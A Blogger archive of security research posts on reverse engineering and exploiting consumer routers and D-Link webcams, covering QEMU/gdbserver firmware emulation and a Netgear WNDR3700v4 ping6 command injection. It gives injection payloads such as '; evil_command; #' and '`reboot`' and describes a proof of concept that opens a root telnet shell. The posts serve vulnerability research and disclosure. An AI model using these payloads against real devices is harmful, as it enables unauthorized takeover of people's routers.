Even with NVRAM solved, the program may make assumptions about what hardware is present. If that hardware isn't present, the program may not run or, if it does run, it may behave differently than it would on the target hardware. In this case, you may need to patch the binary. The specifics of binary patching vary from one situation to another. It really depends on what hardware is expected, and what the behavior is when it is absent. You may need to patch out a conditional branch that is taken if hardware is missing. You may need to patch out an <span style="font-family: Courier New, Courier, monospace;">ioctl()</span> to a special device if you're trying to substitute a regular file for reading and writing. I won't cover patching in detail here, but I did discuss it briefly in my BT HomeHub paper and the corresponding talk I gave at 44CON. Here is a link to those resources:<br />
<a href="http://shadow-file.blogspot.com/2013/09/44con-resources.html">http://shadow-file.blogspot.com/2013/09/44con-resources.html</a><br />
<br />
<br />
<h3>
Attaching the Debugger</h3>
</div>
<div>
Once you've got your binary running in QEMU, it's time to attach a debugger. For this, you'll need gdbserver. Again, this tool should be statically compiled for your target architecture because you'll be running it in a chroot. You'll need to copy it into the root directory of the extracted filesystem.</div>
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">#</span> ./gdbserver
<span style="color: #888888;">Usage: gdbserver [OPTIONS] COMM PROG [ARGS ...]</span>
<span style="color: #888888;"> gdbserver [OPTIONS] --attach COMM PID</span>
<span style="color: #888888;"> gdbserver [OPTIONS] --multi COMM</span>
<span style="color: #888888;">COMM may either be a tty device (for serial debugging), or</span>
<span style="color: #888888;">HOST:PORT to listen for a TCP connection.</span>
<span style="color: #888888;">Options:</span>
<span style="color: #888888;"> --debug Enable general debugging output.</span>
<span style="color: #888888;"> --remote-debug Enable remote protocol debugging output.</span>
<span style="color: #888888;"> --version Display version information and exit.</span>
<span style="color: #888888;"> --wrapper WRAPPER -- Run WRAPPER to start new programs.</span>
<span style="color: #888888;"> --once Exit after the first connection has closed.</span>
<span style="color: #c65d09; font-weight: bold;">#</span>
</pre>
</div>
<br />
You can either attach gdbserver to a running process, or use it to execute your binary directly. If you need to debug initialization routines that only happen once, you'll want to do the latter.<br />
<br />
On the other hand, you may want to wait until the daemon forks. As far as I know there's no way to have IDA follow forked processes. You need to attach to them separately. If you do it this way, you can attach to the already running process from outside the chroot.<br />
<br />
The following shell script will execute upnpd in a chroot. If DEBUG is set to 1, it will attach to upnpd and pause for a remote debugging session on port 1234.<br />
<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #aaaaaa; font-style: italic;">#!/bin/sh</span>
<span style="color: #aa0000;">ROOTFS</span>=<span style="color: #aa5500;">"/root/code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs"</span>
chroot <span style="color: #aa0000;">$ROOTFS</span> /bin/sh -c <span style="color: #aa5500;">"LD_PRELOAD=/libnvram-faker.so /usr/sbin/upnpd"</span>
<span style="color: #aaaaaa; font-style: italic;">#Give upnpd a bit to initialize and fork into the background.</span>
sleep 3;
<span style="color: #0000aa;">if</span> [ <span style="color: #aa5500;">"x1"</span> = <span style="color: #aa5500;">"x$DEBUG"</span> ];
<span style="color: #0000aa;">then</span>
<span style="color: #aa0000;">$ROOTFS</span>/gdbserver --attach 0.0.0.0:1234 <span style="color: #0000aa;">$(</span>pgrep upnpd<span style="color: #0000aa;">)</span>
<span style="color: #0000aa;">fi</span>
</pre>
</div>
<br />
You can create a breakpoint right before the call to <span style="font-family: Courier New, Courier, monospace;">recvfrom()</span> and then verify the debugger breaks when you send upnpd an M-SEARCH packet.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/15999740818" style="margin-left: 1em; margin-right: 1em;" title="break before recvfrom() by Zachary Cutlip, on Flickr"><img alt="break before recvfrom()" height="292" src="https://farm9.staticflickr.com/8620/15999740818_304e9884ff.jpg" width="500" /></a></div>
<br />
<br />
Then, in IDA, go to Process Options under the Debugger menu. Set "hostname" to the IP address of your QEMU system, and set the port to the port you have gdbserver listening on. I use 1234.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16186422902" style="margin-left: 1em; margin-right: 1em;" title="Debug application setup: gdb by Zachary Cutlip, on Flickr"><img alt="Debug application setup: gdb" height="256" src="https://farm8.staticflickr.com/7548/16186422902_10fb57645a.jpg" width="500" /></a></div>
<br />
<br />
Accept the settings, then attach to the remote debugging session with IDA's <span style="font-family: Courier New, Courier, monospace;">ctrl+8</span> hotkey. Hit <span style="font-family: Courier New, Courier, monospace;">ctrl+8</span> again to resume execution. You should be able to send an M-SEARCH packet[1] and see the debugger hit the breakpoint.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16001185699" style="margin-left: 1em; margin-right: 1em;" title="debugger hits breakpoint in upnp_main() by Zachary Cutlip, on Flickr"><img alt="debugger hits breakpoint in upnp_main()" height="238" src="https://farm9.staticflickr.com/8654/16001185699_f739db521e.jpg" width="500" /></a></div>
<br />
There is obviously a lot more to explore, and there are lots of situations that can come up that aren't addressed here, but hopefully this gets you started.<br />
<br />
[1] I recommend Craig Heffner's miranda tool for UPnP analysis:<br />
<a href="https://code.google.com/p/miranda-upnp/">https://code.google.com/p/miranda-upnp/</a><br />
<br />Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-13971642723846037252014-09-23T17:32:00.000-07:002014-09-24T17:15:31.738-07:00Exploit Tunneling and CallbackA few years ago, when I worked for my previous employer, I put together a proof-of-concept that was to be part of a client demo. I thought it was kind of cool, so I recorded a screencast of it in action. I've had the video sitting on my laptop ever since, not really sure what to do with it. I finally decided to post it.<br />
<br />
In the video, what you see is a custom exploit script that exploits a buffer overflow in the web interfaces of several D-Link webcams. The neat part is that it tunnels the exploit and callback through each successive webcam. It works basically like this:<br />
<br />
<ol>
<li>Exploit webcam 1.</li>
<li>Webcam 1 phones home, then downloads and executes a two-stage payload.</li>
<li>The payload proxies all packets destined to a certain port between the exploit host and the next webcam in the chain. It does this in both directions.</li>
<li>Tunneling through webcam 1, exploit webcam 2.</li>
<li>Like before, webcam 2 phones home, tunneled through webcam 1, and downloads and executes a two-stage payload.</li>
<li>Again, the payload proxies packets, this time between webcam 1 and the thrid webcam.</li>
<li>Exploit webcam 3, tunneling through webcams 1 and 2.</li>
<li>Webcam 3 executes a traditional payload, resulting in a connect-back shell. The shell connects back through webcams 2 and 1 to the exploit host.</li>
<li>Root prompt on webcam 3.</li>
</ol>
<div>
I put this together pre-<a href="https://github.com/zcutlip/bowcaster">Bowcaster</a>, so it's a little raw. But it was all groundwork for that framework, so Bowcaster has much of the same capability shown in the video.</div>
<div>
<br /></div>
As an aside, one of the nice things about exploiting these inexpensive consumer devices, besides the fact they are soft targets, usually unmonitored, and ubiquitous, is they generally don't have a writeable file system. This means you can reboot them, leaving behind no trace that you were ever there.<br />
<div>
<br /></div>
<div>
Anyway, here's the video. It has cool music.<br />
<br /></div>
<div>
<iframe allowfullscreen="" frameborder="0" height="281" mozallowfullscreen="" src="//player.vimeo.com/video/107048232" webkitallowfullscreen="" width="500"></iframe> <br />
<a href="http://vimeo.com/107048232">Exploit and Callback Tunneling</a> from <a href="http://vimeo.com/user9824463">Zach</a> on <a href="https://vimeo.com/">Vimeo</a>.</div>
Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-17550103951041878412014-05-16T14:06:00.000-07:002014-05-16T18:06:25.219-07:00Infiltrate 2014Here are some additional resources I may have mentioned in my Infiltrate 2014 presentation.<br />
<br />
White Paper: <a href="http://s3.amazonaws.com/zcutlip_storage/SQL%20Injection%20to%20MIPS%20Overflows%20-%20Part%20Deux.pdf">SQL Injection to MIPS Overflows - Part Deux</a><br />
Slides: <a href="http://s3.amazonaws.com/zcutlip_storage/Cutlip_Infiltrate_2014_SQL_Injection_to_MIPS_Overflows_Part_Deux.pdf">SQL Injection to MIPS Overflows - Part Deux</a><br />
<br />
Original white paper from Black Hat USA 2012:<br />
<a href="http://s3.amazonaws.com/zcutlip_storage/Netgear_Router_Exploitation.pdf">SQL Injections to MIPS Overflows: Rooting SOHO Routers</a><br />
<br />
Proof of Concept Exploit code:<br />
Here's my Github repository for proof-of-concept exploit code. In it, you'll find the exploit code for the Netgear WNDR 3700v3 that I demoed at Infiltrate, among a few others. The white paper is in there as well.<br />
<a href="https://github.com/zcutlip/exploit-poc">https://github.com/zcutlip/exploit-poc</a><br />
<br />
Bowcaster:<br />
I talked about my Python API/Framework for developing buffer overflows. In particular it includes payloads for MIPS Linux.<br />
<a href="https://github.com/zcutlip/bowcaster">https://github.com/zcutlip/bowcaster</a><br />
<br />Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-17675576634489390752013-12-30T12:17:00.002-08:002013-12-30T12:22:09.498-08:00Emulating and Debugging Workspace<div class="tr_bq">
A grad student emailed me in response to my <a href="http://shadow-file.blogspot.com/2013/10/complete-persistent-compromise-of.html">Netgear auth bypass post</a>. He's working on a research project and wanted to know if I knew of any resources or techniques to use emulation for executing and debugging the net-cgi binary in the Netgear firmware. It turns out I've got all the resources to do just that. I replied with a description of my workspace and some links to resources I use, and, in many cases, have developed. I thought this might make an interesting blog post, but I don't really have time to write it up all blog-post-like. Instead I'll just paste in my email. Maybe it'll be useful to other people as well.</div>
<br />
<blockquote>
Hello,<br />
<br />
I think the best approach is to describe how I set up my tool chain and
environment. Hopefully that will be helpful for you.<br />
<br />
To start with, I do my work in an Ubuntu VM. Specifically <span __postbox-detected-content="__postbox-detected-date" class="__postbox-detected-content __postbox-detected-date" style="display: inline; font-size: inherit; padding: 0pt;"><span __postbox-detected-content="__postbox-detected-date" class="__postbox-detected-content __postbox-detected-date" style="display: inline; font-size: inherit; padding: 0pt;"><span __postbox-detected-content="__postbox-detected-date" class="__postbox-detected-content __postbox-detected-date" style="display: inline; font-size: inherit; padding: 0pt;">12.04</span>.</span></span> I
don't think the exact release matters, but I know 12.04 works with my tools.<br />
<br />
I keep a set of cross compilers in my path for various architectures.
In my opinion, building with a cross compiler is faster and easier than
building with gcc inside QEMU. I recommend building a set of
cross-compiling toolchains using Buildroot. Buildroot uses a Linux
Kernel-style menuconfig build system. I don't have anything written up
on building cross compilers, but I could probably send you my buildroot
configuration if you need it, and if I can find it.<br />
<br />
You can download the firmware for the router from Netgear's support website.<br />
Here's a link to the firmware:<br />
<a class="moz-txt-link-freetext" href="http://support.netgear.com/product/wndr3700v4">http://support.netgear.com/product/wndr3700v4</a>
<br />
In order to unpack the firmware, I recommend my colleague, Craig
Heffner's tool, Binwalk:<br />
<a class="moz-txt-link-freetext" href="https://code.google.com/p/binwalk/">https://code.google.com/p/binwalk/</a>
<br />
Binwalk will analyze a binary file and describe the subcomponents it
finds within, such as filesystems, compressed kernel, etc.
Additionally, it can unpack the subcomponents it finds, assuming it
knows how.<br />
Install binwalk in your Ubuntu environment using the
"debian_quick_install.sh" installation script, which will apt-get
install a number of dependencies.<br />
Rather than describe binwalk's usage, I'll refer you to the wiki:<br />
<a class="moz-txt-link-freetext" href="https://code.google.com/p/binwalk/wiki/Usage?tm=6">https://code.google.com/p/binwalk/wiki/Usage?tm=6</a>
<br />
Also, in your Ubuntu environment you'll need a Debian MIPS QEMU system
that you can use to emulate the firmware's binaries.<br />
<br />
I found lots of information about running Debian in QEMU, but most of it
was incomplete, and a lot of it was inconsistent, so I've written a blog
post describing how I set up my QEMU systems:<br />
<a class="moz-txt-link-freetext" href="http://shadow-file.blogspot.com/2013/05/running-debian-mips-linux-in-qemu.html">http://shadow-file.blogspot.com/2013/05/running-debian-mips-linux-in-qemu.html</a>
<br />
This is just personal, but I like to export my workspace to the QEMU
machines via NFS. In fact, I export my workspace from my Mac via NFS,
and my Ubuntu VMs and Debian QEMU VMs all mount the same directory.
That way I'm not having to copy firmware, scripts and debuggers around.<br />
<br />
Once logged into your QEMU VM, you can chroot into the router's firmware
and run some of its binaries:<br />
<br />
firmware_rootfs # chroot . /bin/sh<br />
#<br />
<br />
The simple ones, such as busybox, will run with no problem. The web
server, upnp server, etc. are more complicated because they make a lot
of assumptions about the router's specific hardware being present.<br />
<br />
One of the problems you run into has to do with queries to NVRAM for
runtime configuration. Obviously, your Debian MIPS Linux has no NVRAM,
so these queries will fail. For that, I have a project called
"nvram-faker":<br />
<a class="moz-txt-link-freetext" href="https://github.com/zcutlip/nvram-faker">https://github.com/zcutlip/nvram-faker</a>
<br />
You build the library for your target and preload it using the
LD_PRELOAD environment variable. It intercepts calls to nvram_get and
provides answers based on the contents an nvram.ini file that you
provide. It prints all the nvram queries to stdout, and colorizes the
ones that it couldn't find in the .ini file. Obviously it takes some
guesswork to provide sane configuration parameters.<br />
<br />
Sometimes you can skip running the web server and just run the cgi
binaries from a shell script. Most cgi binaries take their input from
the web server as a combination of standard input and environment
variables. They send their response to the web server over standard output.<br />
<br />
I hope this helps. Let me know if I can help any other way.<br />
<br />
Zach </blockquote>
Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-88781686099079274102013-12-07T11:30:00.000-08:002013-12-07T11:30:00.556-08:00BayThreat 2013 Presentation - Additional ResourcesFor my presentation at BayThreat, entitled "BT Wireless Routers: Adventures in Reversing and Exploiting", rather than have one or two or three slides packed with hard to read URLs, I included a single slide with a link to this post. Here you'll find links to additional resources that I may have referenced in my talk.<br />
<br />
White paper: <a href="http://s3.amazonaws.com/zcutlip_storage/BT%20HomeHub3.0b%2044Con%20(Zachary%20Cutlip).pdf">Reverse Engineering and Exploiting the BT HomeHub 3.0b (pdf)</a><br />
Slides: <a href="http://s3.amazonaws.com/zcutlip_storage/Reversing%20and%20Exploiting%20BT%20CPE%20Devices%20-%20Cutlip%20-%20BayThreat.pdf">BT Wireless Routers: Adventures in Reversing and Exploiting</a><br />
<br />
BT HomeHub 3.0b specifications<br />
<ul>
<li><a href="http://forum.kitz.co.uk/index.php/topic,10161.msg213299.html#msg213299">http://forum.kitz.co.uk/index.php/topic,10161.msg213299.html#msg213299</a></li>
<li><a href="http://www.neufbox4.org/wiki/index.php?title=Neufbox_6#SoC_BCM6361">http://www.neufbox4.org/wiki/index.php?title=Neufbox_6#SoC_BCM6361</a></li>
<li><a href="http://www.hynix.com/inc/pdfDownload.jsp?path=/datasheet/pdf/graphics/H5PS5162FFR(Rev.1.4).pdf">http://www.hynix.com/inc/pdfDownload.jsp?path=/datasheet/pdf/graphics/H5PS5162FFR(Rev.1.4).pdf</a></li>
<li><a href="http://pdf1.alldatasheet.com/datasheetI%20pdf/view/94408/STMICROELECTRONICS/NAND256W3A2BN6/+7_4Q9UORlHDyRHOIpa/1XXyxeocP+uKxP6OXPaoV+%20/datasheet.pdf">http://pdf1.alldatasheet.com/datasheetI pdf/view/94408/STMICROELECTRONICS/NAND256W3A2BN6/+7_4Q9UORlHDyRHOIpa/1XXyxeocP+uKxP6OXPaoV+ /datasheet.pdf</a></li>
</ul>
Here's a walkthrough I wrote on getting Debian MIPS Linux up and running in QEMU system emulation. I use QEMU & Debian Linux to run and analyze binaries that I find in firmware.<br />
<a href="http://shadow-file.blogspot.com/2013/05/running-debian-mips-linux-in-qemu.html">QEMU/Debian MIPS Linux walkthrough</a><br />
<br />
Often binaries found in firmware won't play nicely in emulation because they make a lot of assumptions about the underlying hardware which QEMU can't satisfy. The most common case of this is an application querying NVRAM for configuration parameters. Here's a library I wrote to intercept those queries and provide answers from an INI-style configuration file.<br />
<a href="https://github.com/zcutlip/nvram-faker">NVRAM "faker" library for use in emulation</a><br />
<br />
Bowcaster is an exploit development API that I wrote to ease development of buffer overflow exploits. It grew out of all the tools and techniques Craig Heffner and I developed for exploiting embedded devices. It primarily targets MIPS Linux, since there support for that architecture was almost non-existent. I plan to add support for other architectures as I have time.<br />
<a href="https://github.com/zcutlip/bowcaster">Bowcaster</a><br />
<br />
Here's my Github repository for proof-of-concept exploit code. In it, you'll find the exploit code for the BT HomeHub 3.0b that I demoed at BayThreat, among a few others.<br />
<a href="http://github.com/zcutlip/exploit-poc">Proof-of-Concept exploit code</a><br />
<br />
In the presentation I mentioned how exploiting buffer overflows on MIPS Linux is a bit different that other, more familiar architectures. I wasn't able to go into details; that could make an entire presentation in itself. However, I mentioned my Black Hat USA 2012 presentation, where I did describe some of the mechanics of exploiting MIPS Linux buffer overflows. Here's the video of that presentation, entitled "From SQL Injection to MIPS Overflows: Rooting SOHO Routers".<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="375" mozallowfullscreen="" src="//player.vimeo.com/video/64809593" webkitallowfullscreen="" width="500"></iframe> <br />
<a href="http://vimeo.com/64809593">SQL Injection to MIPS Overflows - Zachary Cutlip - Black Hat USA 2012</a> from <a href="http://vimeo.com/user9824463">Zach</a> on <a href="https://vimeo.com/">Vimeo</a>.<br />
<br />
I hope these resources are useful. If you came to this article because you saw my BayThreat talk and demo, I hope you enjoyed it! Be sure to get in touch and share your thoughts! Twitter or my email are best.<br />
<br />
Twitter: <a href="https://twitter.com/zcutlip">@zcutlip</a><br />
Email: uid000 at gmail<br />
<br />
Cheers!<br />
ZachZach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-37632641996716843922013-10-24T14:34:00.000-07:002014-08-29T10:45:52.730-07:00Netgear Root Compromise via Command InjectionAt the end of my <a href="http://shadow-file.blogspot.com/2013/10/complete-persistent-compromise-of.html">post</a> on the Netgear wndr3700v4's authentication bugs, I said to expect followup posts. Once the web interface is unlocked, any further bugs that normally require authentication become fair game. Well <a href="http://www.youtube.com/watch?v=HHfOejlvVsY">good news, everyone!</a>!<br />
<br />
Previously, I talked about the <span style="font-family: Courier New, Courier, monospace;">net-cgi</span> executable in the wndr3700's firmware. ;<span style="font-family: Courier New, Courier, monospace;">net-cgi</span> is a multi-call binary, a little like busybox. As such it has a lot of functionality baked in. One of its more interesting functions is called <span style="font-family: Courier New, Courier, monospace;">cmd_ping6()</span>. Here's what it looks like:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-FM9qSUnBHqk/UmpcGOERPfI/AAAAAAAABTg/qfRrL_Q0rTU/s1600/cmd_ping6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-FM9qSUnBHqk/UmpcGOERPfI/AAAAAAAABTg/qfRrL_Q0rTU/s400/cmd_ping6.png" height="400" width="343" /></a></div><br />
<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><br />
This is a function that will ping whatever hostname or IPv6 address is passed in as the <span style="font-family: Courier New, Courier, monospace;">char *host</span> argument. What you see here is such an unbelievably common pattern, that the first thing you should do with a router's firmware is check to see if there's a ping diagnostic page, and verify how ping gets executed.<br />
<br />
What is happening here, as it so often does, is the host string gets copied into a shell command on the stack using <span style="font-family: Courier New, Courier, monospace;">sprintf</span>(). This is probably the most straightforward buffer overflow vulnerability you will ever see. Sadly, you shouldn't exploit it. It is a tempting one to exploit because it is so clean and simple and because popping root with a MIPS ROP payload is sexy. But that would be silly, because right after it there is a call to <span style="font-family: Courier New, Courier, monospace;">system()</span>. The <span style="font-family: Courier New, Courier, monospace;">system()</span> function passes whatever string it is given to an invocation of <span style="font-family: Courier New, Courier, monospace;">/bin/sh</span>. This is a command injection vulnerability in its purest form and is trivially exploitable. If the address string that gets passed in is something like "<span style="font-family: Courier New, Courier, monospace;">; evil_command; #</span>", the <span style="font-family: Courier New, Courier, monospace;">ping6</span> command will be terminated prematurely, and evil_command will be executed right after it.<br />
<br />
But what if the target isn't configured to use IPv6? Who cares? The ping6 command doesn't actually need to succeed. As long as the injected command string gets passed to <span style="font-family: Courier New, Courier, monospace;">system()</span>, that's all that matters.<br />
<br />
So how does this function get invoked?<br />
<br />
Working backwards, <span style="font-family: Courier New, Courier, monospace;">cmd_ping6()</span> gets called by <span style="font-family: Courier New, Courier, monospace;">cgi_commit()</span>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-1sl7oiAT9h8/Uml8ujRZ3UI/AAAAAAAABSg/SYdKzpvlviI/s1600/cgi_commit+calls+cmd_ping6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-1sl7oiAT9h8/Uml8ujRZ3UI/AAAAAAAABSg/SYdKzpvlviI/s1600/cgi_commit+calls+cmd_ping6.png" /></a></div><br />
<br />
The <span style="font-family: Courier New, Courier, monospace;">cgi_commit()</span> function gets called by <span style="font-family: Courier New, Courier, monospace;">sub_4052d0()</span>, which is the output function for the apply.cgi mime handler (I explained previously how the mime handler table works).<br />
<br />
<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-Ls9r1DX1kz4/UmmEa1HXmxI/AAAAAAAABSs/f_Biy--5MeA/s1600/apply.cgi+mime+handler.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-Ls9r1DX1kz4/UmmEa1HXmxI/AAAAAAAABSs/f_Biy--5MeA/s1600/apply.cgi+mime+handler.png" /></a></div><br />
<br />
How does <span style="font-family: Courier New, Courier, monospace;">cgi_commit()</span> know to call <span style="font-family: Courier New, Courier, monospace;">cmd_ping6()</span>? That happens when when <span style="font-family: Courier New, Courier, monospace;">apply.cgi</span> is requested as a post, and the post data contains "submit_flag=ping6".<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-DZNx0i6yJ6s/UmmE_SqPJtI/AAAAAAAABS0/5zqACfs0PpA/s1600/ping6+cgi+handler.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://1.bp.blogspot.com/-DZNx0i6yJ6s/UmmE_SqPJtI/AAAAAAAABS0/5zqACfs0PpA/s1600/ping6+cgi+handler.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-family: Courier New, Courier, monospace;">sub_43a60()</span> cgi handler gets called when submit_flag is "ping6".</td></tr>
</tbody></table><div class="separator" style="clear: both; text-align: center;"><br />
</div>There is a page that sends a post request to apply.cgi with the ping6 submit flag. That page is "ping6_traceroute6_hidden_info.htm".<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-AT_HpdmVvhw/UmmFzUp0lhI/AAAAAAAABS8/HnZxzDA-KjM/s1600/burpsuite+ping6+post.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-AT_HpdmVvhw/UmmFzUp0lhI/AAAAAAAABS8/HnZxzDA-KjM/s1600/burpsuite+ping6+post.png" /></a></div><br />
<div class="separator" style="clear: both; text-align: center;"></div><br />
This page would normally be protected behind password authentication. With the authentication bypass I wrote about previously, this page becomes accessible to anyone. As you can see, this is a form that allows you to ping an IP address or hostname. Rather than submit an IP address, you can send a shell command, such as `reboot`.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-nIe72__qtfU/UmmHbjaF6JI/AAAAAAAABTE/E8IbXD_EWuI/s1600/firefox+ping6_traceroute6_hidden_info.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://4.bp.blogspot.com/-nIe72__qtfU/UmmHbjaF6JI/AAAAAAAABTE/E8IbXD_EWuI/s1600/firefox+ping6_traceroute6_hidden_info.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Send a shell command instead of an IP address.</td></tr>
</tbody></table><div class="separator" style="clear: both; text-align: center;"><br />
</div><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-4b6kNRRHDyo/UmmHoZ6k1qI/AAAAAAAABTM/ZvaqelAt5KY/s1600/burpsuite+post+reboot.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://4.bp.blogspot.com/-4b6kNRRHDyo/UmmHoZ6k1qI/AAAAAAAABTM/ZvaqelAt5KY/s1600/burpsuite+post+reboot.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Form is submitted with "<span style="font-family: Courier New, Courier, monospace;">ping6_text=`reboot`</span>"</td></tr>
</tbody></table><br />
This is an easy test because the effect is immediate and easily observed, and you have very little shell syntax to troubleshoot.<br />
<br />
This page is not exposed to the user via any reference in the web interface, and it even has "hidden" in the name. Hidden as it may be, it can't hide from Python. I've written up some proof-of-concept exploit code that will access this page and start up a telnet server, allowing you to log in unauthenticated as root.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-pyvr4TDGD8w/Uml8GKiamuI/AAAAAAAABSY/c_XCXNqcUY8/s1600/wndr3700v4+cmd+inject.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://3.bp.blogspot.com/-pyvr4TDGD8w/Uml8GKiamuI/AAAAAAAABSY/c_XCXNqcUY8/s640/wndr3700v4+cmd+inject.png" height="384" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">"Hidden" pages can't hide from Python! Authentication is disabled, then command injection exploited gain root.</td></tr>
</tbody></table><br />
The exploit code does the following:<br />
<ol><li>Fingerprint the device to ensure it's vulnerable.</li>
<li>Disable authentication.</li>
<li>Inject a command to open a hole in iptables, and start a telnet server listening on the internet on port 2323[1].</li>
<li>Re-enable authentication, restoring the device to its original state.</li>
</ol><div>You can download the proof-of-concept exploit code[2] from my GitHub <a href="https://github.com/zcutlip/exploit-poc/blob/master/netgear/wndr3700v4/ping6_cmd_injection/ping6_inject.py">repo</a>. You'll need <a href="https://github.com/zcutlip/bowcaster">Bowcaster</a> installed.</div><div><br />
[1] Netgear routers usually already have a telnet server listening on the LAN on port 23 that accepts a <a href="https://code.google.com/p/netgear-telnetenable/">hardcoded backdoor password</a>.<br />
[2] Don't attempt to test this against devices you don't own. That's illegal in most jurisdictions.<br />
<br />
</div>Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-51683524226087200082013-10-22T06:27:00.000-07:002014-08-29T10:47:18.551-07:00Complete, Persistent Compromise of Netgear Wireless RoutersUPDATE: Turns out, Jacob Holocomb (<a href="https://twitter.com/roothak42">@rootHak42</a> on Twitter) of Independent Security Evaluators found this bug back in April on a different device, the WNDR4700. Thanks for letting me know, Jacob. Nice find. Here's a <a href="http://securityevaluators.com/content/case-studies/routers/netgear_wndr4700.jsp">link</a> to that report.<br />
<br />
UPDATE 2: Because there are almost certainly fools who would go hack somebody's router and say I told them to do it, I added a warning to not do this. DON'T DO IT.<br />
<br />
UPDATE 3: I have to confess I tested this on an older firmware, 1.0.1.32, and neglected to test on the latest, 1.0.1.42. I did some cursory static analysis on .42, and satisfied myself that the vulnerabilities discussed still existed. Since Netgear has patched this on other devices, I became concerned that I should have tested more thoroughly, so I did that this morning. I can now say, with confidence, that these vulnerabilities apply equally to the latest wndr3700v4 firmware, 1.0.1.42.<br />
<br />
UPDATE 4: I want to give Craig Young of Tripwire VERT credit for finding all these bugs and more. I found the ones below in June, and I believe Craig found them before me. Craig also is responsible for the Netgear ReadyNAS finding which has gotten a lot of coverage lately.<br />
<br />
One of my <a href="https://vimeo.com/64809593">favorite</a> embedded vendors' products to find <a href="https://github.com/zcutlip/exploit-poc/tree/master/netgear/wndr3700v3">bugs</a> in is <a href="http://www.blackhat.com/usa/bh-us-12-briefings.html#Cutlip">Netgear</a>. Naturally, I was excited to take a look at the firmware for version 4 of Netgear's venerable WNDR3700 wireless router (I talked about version 3 at Black Hat in 2012). Of course, I <a href="https://github.com/zcutlip/exploit-poc/tree/master/netgear/wndr3700v4">updated</a> my DLNA SQL injection + buffer overflow exploit code for the new version, but I found something else that's even better.<br />
<br />
Don't have time for a bunch of IDA Pro nonsense? Don't worry; just skip to the TL;DR.<br />
<br />
Still here? Excellent. Let's find out how deep the <a href="http://www.youtube.com/watch?v=TbYirSi08m4">rabbit hole</a> goes.<br />
<br />
<h3>An All-purpose CGI Request Handler</h3><br />
On the WNDR3700v4, as with many embedded web servers, a single binary executable, <span style="font-family: Courier New, Courier, monospace;">/usr/sbin/net-cgi</span>, gets executed by the web server to handle most, if not all, HTTP requests.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;"><pre style="line-height: 125%; margin: 0;"><span style="color: #aaaaaa;">$</span> file usr/sbin/net-cgi
<span style="color: #cccccc;">usr/sbin/net-cgi: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size</span>
</pre></div><br />
It's important to understand how <span style="font-family: Courier New, Courier, monospace;">net-cgi</span> performs authentication. It's a little messy, but don't panic. I brought pictures.<br />
<br />
